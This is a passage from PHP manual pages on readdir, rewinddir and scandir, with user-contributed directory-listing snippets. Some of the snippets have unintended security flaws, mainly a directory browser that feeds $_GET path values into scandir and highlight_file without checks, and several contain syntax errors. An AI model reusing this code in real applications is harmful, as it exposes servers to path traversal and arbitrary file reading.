        echo "\n\nFILE (" . $file['dirpath'].'/'.$file['filename'] . "):\n\n" . fread($file['handle'], filesize($file['dirpath'].'/'.$file['filename']));
        fclose($file['handle']);
    }
  }

?>
HeadRoom 08-May-2009 09:08
Thought I would include what I wrote to get a random image from a directory.

<?php
$image_dir = 'images';
$count = 0;
if ($handle = opendir($image_dir)) {
    $retval = array();
    while (false !== ($file = readdir($handle))) {
        if (($file <> ".") && ($file <> "..")) {
        $retval[$count] = $file;
        $count = $count + 1;
            }
    }

    closedir($handle);
}
shuffle($retval);
$current_image = $retval[0];
?>

[NOTE BY danbrown AT php DOT net: Contains a bugfix/typofix inspired by 'ffd8' on 19-JUN-09.]
hanan dot ali dot shaikh at gmail dot com 15-Mar-2009 08:37
This function is used to display random image i.e. at header position of a site. It reads the whole directory and then randomly print the image. I think it may be useful for someone.

<?php
if ($handle = opendir('images/')) {
   $dir_array = array();
    while (false !== ($file = readdir($handle))) {
        if($file!="." && $file!=".."){
            $dir_array[] = $file;
        }
    }
    echo $dir_array[rand(0,count($dir_array)-1)];
    closedir($handle);
}
?>
hotrungdungit at gmail dot com 18-Dec-2008 05:59
Below will return an array of file names and folders in directory

<?php
function ReadFolderDirectory($dir = "root_dir/here")
    {
        $listDir = array();
        if($handler = opendir($dir)) {
            while (($sub = readdir($handler)) !== FALSE) {
                if ($sub != "." && $sub != ".." && $sub != "Thumb.db") {
                    if(is_file($dir."/".$sub)) {
                        $listDir[] = $sub;
                    }elseif(is_dir($dir."/".$sub)){
                        $listDir[$sub] = $this->ReadFolderDirectory($dir."/".$sub);
                    }
                }
            }
            closedir($handler);
        }
        return $listDir;
    }
?>
MetaNull 11-Jul-2008 08:20
A simple directory browser... that handles the windows charset in filenames (it should work for every iso-8859-1 characters).
<?php
 $basepath = realpath("./pub/");  // Root directory
 $path = realpath($basepath.$_GET["path"]);  // Requested  path
$relativepath = "./".substr_replace( $path, "", 0, strlen( $basepath ) );
 if( "/" == substr( $relativepath, -1 )) {  // Remove the trailing slash
  $relativepath = substr( $relativepath, 0, -1 );
 }

$dh = opendir( $path );
  while( false !== ($file = readdir( $dh ))) {
   if("." == $file) {continue;}
   // converts the filename to utf8
   $file_utf8 = iconv( "iso-8859-1", "utf-8", $file );
   // encode the path ('path' part: already utf8; 'filename' part: still iso-8859-1)
   $link = str_replace( "%2F", "/", rawurlencode( "{$relativepath}/" )) . rawurlencode( utf8_decode( "{$file_utf8}" ));
   if( is_dir( "{$path}/{$file}" )) {
    echo "<a href=\"?path={$link}&amp;\">{$file_utf8}</a><br/>"
   } else {
    echo "<a href=\"{$link}&amp;\">{$file_utf8}</a><br/>"
   }
  }
 }
 ?>
Kim Christensen 05-May-2008 05:14
Handy little function that returns the number of files (not directories) that exists under a directory.
Choose if you want the function to recurse through sub-directories with the second parameter -
the default mode (false) is just to count the files directly under the supplied path.

<?php

  /**
   * Return the number of files that resides under a directory.
   *
   * @return integer
   * @param    string (required)   The directory you want to start in
   * @param    boolean (optional)  Recursive counting. Default to FALSE.
   * @param    integer (optional)  Initial value of file count
   */

  function num_files($dir, $recursive=false, $counter=0) {
    static $counter;
    if(is_dir($dir)) {
      if($dh = opendir($dir)) {
        while(($file = readdir($dh)) !== false) {
          if($file != "." && $file != "..") {
              $counter = (is_dir($dir."/".$file)) ? num_files($dir."/".$file, $recursive, $counter) : $counter+1;
          }
        }
        closedir($dh);
      }
    }
    return $counter;
  }

  // Usage:
  $nfiles = num_files("/home/kchr", true); // count all files that resides under /home/kchr, including subdirs
  $nfiles = num_files("/tmp"); // count the files directly under /tmp

?>
info at agentur-obermaier dot de 15-Apr-2008 01:13
This is a nice quick full dir read - sorry for my bad english ;)

<?php
function ReadDirs($dir,$em){
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != ".." && $file != "Thumb.db") {
            if(is_dir($dir.$file)){
                echo $em."&raquo; ".$file.'<br>';
                ReadDirs($dir.$file."/",$em."&nbsp;&nbsp;");
            }
        }
    }
    closedir($handle);
    }
}
?>
dbzfanatic_1 at hotmail dot com 18-Mar-2008 06:03
Here's an easy way to output the contents as a list of download links.

<?php
$count = 0;
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {$count++;
            print("<a href=\"".$file."\">".$file."</a><br />\n");
        }
    }
echo '<br /><br /><a href="..">Return</a>';
    closedir($handle);
}
?>

and simply use $count to list the overall number of files.
skysama at googles_email dot com 12-Sep-2007 07:23
Yet another view files by extension

/* NOTE:
 *  /a-d = do not include directories
 *  /b   = show files in bare mode ( no dates or filesize )
 */

<?php
$dir = '.\\img\\';    // reminder: escape your slashes
$filetype = "*.png";
$filelist = shell_exec( "dir {$dir}{$filetype} /a-d /b" );
$file_arr = explode( "\n", $filelist );
array_pop( $file_arr ); // last line is always blank
print_r( $file_arr );
?>
nullbyte at hotmail dot com 20-Aug-2007 09:06
I haven't tested this yet, but it seems like it'll do just fine if you need files of a certain extension:

<?php
$dh = opendir($options['inputDir']);
$files = array();
while (($filename = readdir($dh)) !== false)
{
    if (substr($filename, strrpos($filename, '.')) == $options['inputExt'])
    {
        $files[] = $filename;
    }
}
closedir($dh);
?>
schursin at gmail[deleteme] dot com 28-May-2007 03:42
code:

<?php

        function permission($filename)
        {
            $perms = fileperms($filename);

            if     (($perms & 0xC000) == 0xC000) { $info = 's'; }
            elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
            elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
            elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
            elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
            elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
            elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
            else                                 { $info = 'u'; }

            // владелец
            $info .= (($perms & 0x0100) ? 'r' : '-');
            $info .= (($perms & 0x0080) ? 'w' : '-');
            $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));

            // группа
            $info .= (($perms & 0x0020) ? 'r' : '-');
            $info .= (($perms & 0x0010) ? 'w' : '-');
            $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));

            // все
            $info .= (($perms & 0x0004) ? 'r' : '-');
            $info .= (($perms & 0x0002) ? 'w' : '-');
            $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

            return $info;
        }

        function dir_list($dir)
        {
            if ($dir[strlen($dir)-1] != '/') $dir .= '/';

            if (!is_dir($dir)) return array();

            $dir_handle  = opendir($dir);
            $dir_objects = array();
            while ($object = readdir($dir_handle))
                if (!in_array($object, array('.','..')))
                {
                    $filename    = $dir . $object;
                    $file_object = array(
                                            'name' => $object,
                                            'size' => filesize($filename),
                                            'perm' => permission($filename),
                                            'type' => filetype($filename),
                                            'time' => date("d F Y H:i:s", filemtime($filename))
                                        );
                    $dir_objects[] = $file_object;
                }

            return $dir_objects;
        }

?>

call:

<?php

        print_r(dir_list('/path/to/you/dir/'));

?>

output sample:

Array
(
    [0] => Array
        (
            [name] => api
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 01:55:02
        )

    [1] => Array
        (
            [name] => classes
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 26 May 2007 00:56:44
        )

    [2] => Array
        (
            [name] => config.inc.php
            [size] => 143
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 13:13:19
        )

    [3] => Array
        (
            [name] => index.php
            [size] => 131
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 22:15:18
        )

    [4] => Array
        (
            [name] => modules
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 00:47:40
        )

    [5] => Array
        (
            [name] => temp
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 04:49:33
        )

)
(Qube#php@Efnet) 15-May-2007 05:36
<?php

// Sample function to recursively return all files within a directory.
// http://www.pgregg.com/projects/php/code/recursive_readdir.phps

Function listdir($start_dir='.') {

  $files = array();
  if (is_dir($start_dir)) {
    $fh = opendir($start_dir);
    while (($file = readdir($fh)) !== false) {
      # loop through the files, skipping . and .., and recursing if necessary
      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
      $filepath = $start_dir . '/' . $file;
      if ( is_dir($filepath) )
        $files = array_merge($files, listdir($filepath));
      else
        array_push($files, $filepath);
    }
    closedir($fh);
  } else {
    # false if the function was called with an invalid non-directory argument
    $files = false;
  }

  return $files;

}

$files = listdir('.');
print_r($files);
?>
(Qube#php@Efnet) 14-May-2007 11:41
Here is an updated version of preg_find() [which has been linked from the glob() man page for years] - this function should provide most of what you want back from reading files, directories, different sorting methods, recursion, and perhaps most powerful of all the ability to pattern match with a PCRE regex.

You can get preg_find here: http://www.pgregg.com/projects/php/preg_find/preg_find.php.txt
or if you prefer colourful .phps format: http://www.pgregg.com/projects/php/preg_find/preg_find.phps
or scoll down to the end of this note.

I wrote several examples on how to use it on my blog at: http://www.pgregg.com/forums/viewtopic.php?tid=73

simple glob() type replacement:
$files = preg_find('/./', $dir);

recursive?
$files = preg_find('/./', $dir, PREG_FIND_RECURSIVE);

pattern match? find all .php files:
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE);

sorted alphabetically?
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE|PREG_FIND_SORTKEYS);

sorted in by filesize, in descending order?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTFILESIZE|PREG_FIND_SORTDESC);
$files=array_keys($files);

sorted by date modified?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTMODIFIED);
$files=array_keys($files);

Ok, the PHP note says my note is too long, so please click on one of the above links to get it.
phpwizard-at-pech-dot-cz 04-Jul-2002 10:22
It should work, but it'll be better to read section 13.1.3 Cache-control Mechanisms of RFC 2616 available at http://rfc.net/rfc2616.html before you start with confusing proxies on the way from you and the client.

Reading it is the best way to learn how proxies work, what should you do to modify cache-related headers of your documents and what you should never do again. :-)

And of course not reading RFCs is the best way to never learn how internet works and the best way to behave like Microsoft corp.

Have a nice day!
Jirka Pech


Rewind directory handle

  • « readdir
  • scandir »
  • PHP Manual
  • Directory Functions
  • Rewind directory handle

rewinddir

(PHP 4, PHP 5)

rewinddir — Rewind directory handle

Description

void rewinddir ([ resource $dir_handle ] )

Resets the directory stream indicated by dir_handle to the beginning of the directory.

Parameters

dir_handle

The directory handle resource previously opened with opendir(). If the directory handle is not specified, the last link opened by opendir() is assumed.

User Contributed Notes

There are no user contributed notes for this page.


List files and directories inside the specified path

  • « rewinddir
  • Fileinfo »
  • PHP Manual
  • Directory Functions
  • List files and directories inside the specified path

scandir

(PHP 5)

scandir — List files and directories inside the specified path

Description

array scandir ( string $directory [, int $sorting_order = SCANDIR_SORT_ASCENDING [, resource $context ]] )

Returns an array of files and directories from the directory.

Parameters

directory

The directory that will be scanned.

sorting_order

By default, the sorted order is alphabetical in ascending order. If the optional sorting_order is set to SCANDIR_SORT_DESCENDING, then the sort order is alphabetical in descending order. If it is set to SCANDIR_SORT_NONE then the result is unsorted.

context

For a description of the context parameter, refer to the streams section of the manual.

Return Values

Returns an array of filenames on success, or FALSE on failure. If directory is not a directory, then boolean FALSE is returned, and an error of level E_WARNING is generated.

Changelog

Version | Description
5.4.0 | sorting_order constants were added. Any nonzero value caused descending order in previous versions. So for all PHP versions, use 0 for ascending order, and 1 for descending order. An option for SCANDIR_SORT_NONE behavior did not exist prior to PHP 5.4.0.

Examples

Example #1 A simple scandir() example

<?php
$dir    = '/tmp';
$files1 = scandir($dir);
$files2 = scandir($dir, 1);

print_r($files1);
print_r($files2);
?>

The above example will output something similar to:

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

Example #2 PHP 4 alternatives to scandir()

<?php
$dir = "/tmp";
$dh  = opendir($dir);
while (false !== ($filename = readdir($dh))) {
    $files[] = $filename;
}

sort($files);

print_r($files);

rsort($files);

print_r($files);

?>

The above example will output something similar to:

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

Notes

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

See Also

  • opendir() - Open directory handle
  • readdir() - Read entry from directory handle
  • glob() - Find pathnames matching a pattern
  • is_dir() - Tells whether the filename is a directory
  • sort() - Sort an array

User Contributed Notes

eep2004 at ukr dot net 07-Oct-2014 06:28
Fastest way to get a list of files without dots.
<?php
$files = array_slice(scandir('/path/to/directory/'), 2);
gambit_642 AT hotmailDOTcom 22-Jan-2014 11:04
Needed something that could return the contents of single or multiple directories, recursively or non-recursively,
for all files or specified file extensions that would be
accessible easily from any scope or script.

And I wanted to allow overloading cause sometimes I'm too lazy to pass all params.
<?php
class scanDir {
    static private $directories, $files, $ext_filter, $recursive;

// ----------------------------------------------------------------------------------------------
    // scan(dirpath::string|array, extensions::string|array, recursive::true|false)
    static public function scan(){
        // Initialize defaults
        self::$recursive = false;
        self::$directories = array();
        self::$files = array();
        self::$ext_filter = false;

        // Check we have minimum parameters
        if(!$args = func_get_args()){
            die("Must provide a path string or array of path strings");
        }
        if(gettype($args[0]) != "string" && gettype($args[0]) != "array"){
            die("Must provide a path string or array of path strings");
        }

        // Check if recursive scan | default action: no sub-directories
        if(isset($args[2]) && $args[2] == true){self::$recursive = true;}

        // Was a filter on file extensions included? | default action: return all file types
        if(isset($args[1])){
            if(gettype($args[1]) == "array"){self::$ext_filter = array_map('strtolower', $args[1]);}
            else
            if(gettype($args[1]) == "string"){self::$ext_filter[] = strtolower($args[1]);}
        }

        // Grab path(s)
        self::verifyPaths($args[0]);
        return self::$files;
    }

    static private function verifyPaths($paths){
        $path_errors = array();
        if(gettype($paths) == "string"){$paths = array($paths);}

        foreach($paths as $path){
            if(is_dir($path)){
                self::$directories[] = $path;
                $dirContents = self::find_contents($path);
            } else {
                $path_errors[] = $path;
            }
        }

        if($path_errors){echo "The following directories do not exists<br />";die(var_dump($path_errors));}
    }

    // This is how we scan directories
    static private function find_contents($dir){
        $result = array();
        $root = scandir($dir);
        foreach($root as $value){
            if($value === '.' || $value === '..') {continue;}
            if(is_file($dir.DIRECTORY_SEPARATOR.$value)){
                if(!self::$ext_filter || in_array(strtolower(pathinfo($dir.DIRECTORY_SEPARATOR.$value, PATHINFO_EXTENSION)), self::$ext_filter)){
                    self::$files[] = $result[] = $dir.DIRECTORY_SEPARATOR.$value;
                }
                continue;
            }
            if(self::$recursive){
                foreach(self::find_contents($dir.DIRECTORY_SEPARATOR.$value) as $value) {
                    self::$files[] = $result[] = $value;
                }
            }
        }
        // Return required for recursive search
        return $result;
    }
}
?>

Usage:
scanDir::scan(path(s):string|array, [file_extensions:string|array], [subfolders?:true|false]);
<?php
//Scan a single directory for all files, no sub-directories
$files = scanDir::scan('D:\Websites\temp');

//Scan multiple directories for all files, no sub-dirs
$dirs = array(
    'D:\folder';
    'D:\folder2';
    'C:\Other';
);
$files = scanDir::scan($dirs);

// Scan multiple directories for files with provided file extension,
// no sub-dirs
$files = scanDir::scan($dirs, "jpg");
//or with an array of extensions
$file_ext = array(
    "jpg",
    "bmp",
    "png"
);
$files = scanDir::scan($dirs, $file_ext);

// Scan multiple directories for files with any extension,
// include files in recursive sub-folders
$files = scanDir::scan($dirs, false, true);

// Multiple dirs, with specified extensions, include sub-dir files
$files = scanDir::scan($dirs, $file_ext, true);
?>
Patrick 13-Jan-2014 06:10
Here is my recursive function, placing directories into new array keys and its contents within.

/* find_files( string, &array )
** Recursive function to return a multidimensional array of folders and files
** that are contained within the directory given
*/
function find_files($dir, &$dir_array)
{
    // Create array of current directory
    $files = scandir($dir);

    if(is_array($files))
    {
        foreach($files as $val)
        {
            // Skip home and previous listings
            if($val == '.' || $val == '..')
                continue;

            // If directory then dive deeper, else add file to directory key
            if(is_dir($dir.'/'.$val))
            {
                // Add value to current array, dir or file
                $dir_array[$dir][] = $val;

                find_files($dir.'/'.$val, $dir_array);
            }
            else
            {
                $dir_array[$dir][] = $val;
            }
        }
    }
    ksort($dir_array);
}

// Example
$folder_list = array();
find_files('/path', $folder_list)

var_dump($folder_list);

array(3) {
  ["directory_01"]=>
  array(4) {
    [0]=>
    string(12) "directory_02"
    [1]=>
    string(12) "directory_03"
    [2]=>
    string(11) "file_01.txt"
    [3]=>
    string(11) "file_02.txt"
  }
  ["directory_01/directory_02"]=>
  array(2) {
    [0]=>
    string(11) "file_03.txt"
    [1]=>
    string(11) "file_04.txt"
  }
  ["directory_01/directory_03"]=>
  array(2) {
    [0]=>
    string(11) "file_05.txt"
    [1]=>
    string(11) "file_06.txt"
  }
}
donovan dot pp at gmail dot com 16-Dec-2013 12:42
Non-recursive way (red: FASTER & less memory consumption) to list all directory content :

<?php
function list_directory($dir) {
   $file_list = array();
   $stack[] = $dir;

   while ($stack) {
       $current_dir = array_pop($stack);
       if ($dh = opendir($current_dir)) {
           while (($file = readdir($dh)) !== false) {
               if ($file !== '.' AND $file !== '..') {
                   $current_file = "{$current_dir}/{$file}";
                   $report = array();
                   if (is_file($current_file)) {
                       $file_list[] = "{$current_dir}/{$file}";
                   } elseif (is_dir($current_file)) {
                       $stack[] = $current_file;
                       $file_list[] = "{$current_dir}/{$file}/";
                   }
               }
           }
       }
   }

   return $file_list;
}

// usage :
//print_r(list_directory('C:/'));
//print_r(list_directory('C:/Users'));
print_r(list_directory('/var/www'));

?>
arfon at cradur dot com 29-Nov-2013 09:35
Care needed going from PHP 5.3 to 5.4, as the constant SCANDIR_SORT_DESCENDING is only defined from 5.4.

I had previously been using literal, i.e. scandir($targetDir,2) in 5.3, but this did not give desired result in 5.4 (Ascending is default). However when I used SCANDIR_SORT_DESCENDING which is not defined in 5.3,  on my web host (still on 5.3) I got error - second argument assumed to be a string.

My solution (very primitive):

      $sort_desc = defined('SCANDIR_SORT_DESCENDING') ?
                    SCANDIR_SORT_DESCENDING : 2;
      $infiles = scandir($targetDir, $sort_desc);
faruk at pamukbilisim dot com 18-Sep-2013 09:23
<?php

    // Directory Name
    $dir = "messages";

    // Directory Control
    if ( !is_dir( $dir ) ) { die( "File <b>\" {$dir} \"</b> Not Found" ); }

    // Optional
    chmod( $dir, "0777" );

    // Print
    print_r( scandir( $dir . "/" ) );

?>
hex at mail dot nnov dot ru 08-Sep-2013 04:38
// Extreme minimal version recursive scan:
function rscandir($dir){
  $dirs = array_fill_keys( array_diff( scandir( $dir ), array( '.', '..' ) ), array());
  foreach( $dirs as $d => $v )
    if( is_dir($dir."/".$d) )
      $dirs[$d] = rscandir($dir."/".$d);
  return $dirs;
}
holdoffhunger at gmail dot com 24-May-2013 09:18
If you would like to use scandir on the root directory of your server, you would imagine the command to be either scandir("") or scandir("/"), but neither work.  However, scandir(".") works perfectly.  Use scandir("/") and scandir("..") to poke around the Linuxy areas of your webhost.  At least, these are the observations I've made with my own webhost when it comes to root directory scandir.
mirthenemrys at gmail dot com 22-May-2013 04:25
This method would leave the file system vulnerable using ../ for the ?dir= A person could navigate any readable file system simply by adding ../ enough times to get back to the root of the drive.

On a proper secure system this might not matter, however for less secure file systems where the web user(apache user) can at least read most files, or on multi-user web servers this could lead to potential security risks.

Adding a check to see if ../ is in the  $_GET["dir"] is one way to prevent this.
era_esteban at hotmail dot com 11-May-2013 12:58
# Hacer hash  de estructura de directorio

$print_dir = "SOME DIR TO EXPLORE";

$parentDir=array();
myScandir($parentDir,$print_dir);
print_r ($parentDir);

function myScandir(&$parentDir,$actual_dir){
        $scanDir = scandir($actual_dir);
        for ($i=0;$i<count($scanDir);$i++){
                if ($scanDir[$i] == '.svn' || $scanDir[$i] == '.' || $scanDir[$i] == '..' ) {
                        continue;
                }
                if (is_file($actual_dir.'/'.$scanDir[$i])){
                        $file = $scanDir[$i];
                        array_push($parentDir,$file);
                } elseif (is_dir($actual_dir.'/'.$scanDir[$i])){
                        $dir =  $scanDir[$i];
                        $parentDir[$dir]=array();
                        myScandir( $parentDir[$dir] , "$actual_dir/$dir" );
                }
        }
        return true;
}
mmda dot nl at gmail dot com 08-Nov-2012 09:43
Here is my 2 cents. I wanted to create an array of my directory structure recursively. I wanted to easely access data in a certain directory using foreach. I came up with the following:

<?php
function dirToArray($dir) {

   $result = array();

   $cdir = scandir($dir);
   foreach ($cdir as $key => $value)
   {
      if (!in_array($value,array(".","..")))
      {
         if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
         {
            $result[$value] = dirToArray($dir . DIRECTORY_SEPARATOR . $value);
         }
         else
         {
            $result[] = $value;
         }
      }
   }

   return $result;
}
?>

Output
Array
(
   [subdir1] => Array
   (
      [0] => file1.txt
      [subsubdir] => Array
      (
         [0] => file2.txt
         [1] => file3.txt
      )
   )
   [subdir2] => Array
   (
    [0] => file4.txt
   }
)
carneiro at isharelife dot com dot br 23-Jun-2012 03:47
<?php
/**
     * Get an array that represents directory tree
     * @param string $directory     Directory path
     * @param bool $recursive         Include sub directories
     * @param bool $listDirs         Include directories on listing
     * @param bool $listFiles         Include files on listing
     * @param regex $exclude         Exclude paths that matches this regex
     */
    function directoryToArray($directory, $recursive = true, $listDirs = false, $listFiles = true, $exclude = '') {
        $arrayItems = array();
        $skipByExclude = false;
        $handle = opendir($directory);
        if ($handle) {
            while (false !== ($file = readdir($handle))) {
            preg_match("/(^(([\.]){1,2})$|(\.(svn|git|md))|(Thumbs\.db|\.DS_STORE))$/iu", $file, $skip);
            if($exclude){
                preg_match($exclude, $file, $skipByExclude);
            }
            if (!$skip && !$skipByExclude) {
                if (is_dir($directory. DIRECTORY_SEPARATOR . $file)) {
                    if($recursive) {
                        $arrayItems = array_merge($arrayItems, directoryToArray($directory. DIRECTORY_SEPARATOR . $file, $recursive, $listDirs, $listFiles, $exclude));
                    }
                    if($listDirs){
                        $file = $directory . DIRECTORY_SEPARATOR . $file;
                        $arrayItems[] = $file;
                    }
                } else {
                    if($listFiles){
                        $file = $directory . DIRECTORY_SEPARATOR . $file;
                        $arrayItems[] = $file;
                    }
                }
            }
        }
        closedir($handle);
        }
        return $arrayItems;
    }
?>
2bbasic at gmail dot com 21-Jun-2012 08:35
<?php
//-- Directory Navigation with SCANDIR
//--
//-- optional placemenet
$exclude_list = array(".", "..", "example.txt");
if (isset($_GET["dir"])) {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/".$_GET["dir"];
}
else {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/";
}
//-- until here
function dir_nav() {
  global $exclude_list, $dir_path;
  $directories = array_diff(scandir($dir_path), $exclude_list);
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_dir($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[`] <a href='?dir=".$_GET["dir"].$entry."/"."'>".$entry."</a></li>";
    }
  }
  echo "</ul>";
  //-- separator
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_file($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[ ] <a href='?file=".$_GET["dir"].$entry."'>".$entry."</a></li>";
    }
  }
  echo "</ul>";
}
dir_nav();
//-- optional placement
if (isset($_GET["file"])) {
  echo "<div style='margin:1em;border:1px solid Silver;'>";
  highlight_file($dir_path.$_GET['file']);
  echo "</div>";
}
//-- until here
//--
//-- Because I love php.net
?>
fazle dot elahee at gmail dot com 10-Apr-2012 03:52
/**
 * This function will scan all files recursively in the sub-folder and folder.
 *
 * @author Fazle Elahee
 *
 */

function scanFileNameRecursivly($path = '', &$name = array() )
{
  $path = $path == ''? dirname(__FILE__) : $path;
  $lists = @scandir($path);

  if(!empty($lists))
  {
      foreach($lists as $f)
      {

      if(is_dir($path.DIRECTORY_SEPARATOR.$f) && $f != ".." && $f != ".")
      {
          scanFileNameRecursivly($path.DIRECTORY_SEPARATOR.$f, &$name);
      }
      else
      {
          $name[] = $path.DIRECTORY_SEPARATOR.$f;
      }
      }
  }
  return $name;
}

$path = "/var/www/SimplejQueryDropdowns";
$file_names = scanFileNameRecursivly($path);

echo "<pre>";
var_dump($file_names);
echo "</pre>";
dwieeb at gmail dot com 22-Jan-2012 05:06
Easy way to get rid of the dots that scandir() picks up in Linux environments:

<?php
$directory = '/path/to/my/directory';
$scanned_directory = array_diff(scandir($directory), array('..', '.'));
?>
kodlee at kodleeshare dot net 09-Jan-2012 12:51
I needed to find a way to get the full path of all files in the directory and all subdirectories of a directory.
Here's my solution: Recursive functions!

<?php
function find_all_files($dir)
{
    $root = scandir($dir);
    foreach($root as $value)
    {
        if($value === '.' || $value === '..') {continue;}
        if(is_file("$dir/$value")) {$result[]="$dir/$value";continue;}
        foreach(find_all_files("$dir/$value") as $value)
        {
            $result[]=$value;
        }
    }
    return $result;
}
?>
Gerjoo at gmail dot com 26-May-2011 08:41
If you wish to sort by folders first then files, you could use something like this:

<?php
function scandirSorted($path) {
    $sortedData = array();
    foreach(scandir($path) as $file) {
        if(is_file($path . $file)) {
            array_push($sortedData, $file);
        } else {
            array_unshift($sortedData, $file);
        }
    }
    return $sortedData;
}
?>

NB.: This approach *might* be suboptimal for high performance situations.

- Gerard
robin leffmann 25-Nov-2010 09:33
Note that scandir() will enforce alphanumerical sorting on the array it returns. If you wish to reduce CPU overhead by avoiding the sorting, or if you wish to obtain "natural filesystem order" - that is, the order in which the files are found while traversing the filesystem (usually the order in which they were written to the disk) - you need to go back to the PHP4 equivalent of opendir() + readdir().
boen dot robot at gmail dot com 20-Feb-2010 07:10
If you have a folder with many files and/or subfolders, doing a recursive scandir will likely either slow down your application, or cause a high rise in RAM consumption due to the large size of the generated array.

To help with this, as well as to make processing of files in a folder easier, I wrote a function that reads a folder and its subfolders recursively, and calls a function upon each match.

<?php
/**
 * Calls a function for every file in a folder.
 *
 * @author Vasil Rangelov a.k.a. boen_robot
 *
 * @param string $callback The function to call. It must accept one argument that is a relative filepath of the file.
 * @param string $dir The directory to traverse.
 * @param array $types The file types to call the function for. Leave as NULL to match all types.
 * @param bool $recursive Whether to list subfolders as well.
 * @param string $baseDir String to append at the beginning of every filepath that the callback will receive.
 */
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir . $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}
?>

Of course, because it is recursive, a folder with many levels of folders could potentially consume lots of memory, but then again, so can every other recursive scandir implementation here.

BTW, there's also the RecursiveDirectoryIterator SPL class:
http://bg.php.net/manual/en/class.recursivedirectoryiterator.php
which, even if using the same approach, will most likely be faster and hold down deeper levels (because it works on the C level), but this one will always work, regardless of settings... even on PHP4.

Point is, avoid recursive scandir implementations.
franzemmanuel at gmail dot com 10-Feb-2010 10:44
Scandir does not work properly with non-english caracters (like french accents for example : éàçè...) in the files name.
As PHP does not support unicode operations until PHP 6, this is not a bug.
moik78 at gmail dot com 28-Jan-2010 02:43
This is a function to count the number of files of a directory

<?php
function countFiles($dir){
    $files = array();
    $directory = opendir($dir);
    while($item = readdir($directory)){
    // We filter the elements that we don't want to appear ".", ".." and ".svn"
         if(($item != ".") && ($item != "..") && ($item != ".svn") ){
              $files[] = $item;
         }
    }
    $numFiles = count($files);
    return $numFiles;
}
?>
phpnet at novaclic dot com 11-Jan-2010 11:36
Was looking for a simple way to search for a file/directory using a mask. Here is such a function.

By default, this function will keep in memory the scandir() result, to avoid scaning multiple time for the same directory.

Requires at least PHP5.

<?php
function sdir( $path='.', $mask='*', $nocache=0 ){
    static $dir = array(); // cache result in memory
    if ( !isset($dir[$path]) || $nocache) {
        $dir[$path] = scandir($path);
    }
    foreach ($dir[$path] as $i=>$entry) {
        if ($entry!='.' && $entry!='..' && fnmatch($mask, $entry) ) {
            $sdir[] = $entry;
        }
    }
    return ($sdir);
}
?>
magicmind at netcabo dot pt 09-Jun-2009 02:20
Hello all,

I just added a extension filter to the getDirectoryTree function, so it can filter an extension for files in the folders/subfolders:

<?php
function getDirectoryTree( $outerDir , $x){
    $dirs = array_diff( scandir( $outerDir ), Array( ".", ".." ) );
    $dir_array = Array();
    foreach( $dirs as $d ){
        if( is_dir($outerDir."/".$d)  ){
            $dir_array[ $d ] = getDirectoryTree( $outerDir."/".$d , $x);
        }else{
         if (($x)?ereg($x.'$',$d):1)
            $dir_array[ $d ] = $d;
            }
    }
    return $dir_array;
}

$dirlist = getDirectoryTree('filmes','flv');
?>
phpdotnet at lavavortex dot com 01-May-2009 02:05
How a ninja may retrieve a list of files, files filtered by extension, or directories:

<?php
//NNNIIIinnnjaaa::
//array of files without directories... optionally filtered by extension
function file_list($d,$x){
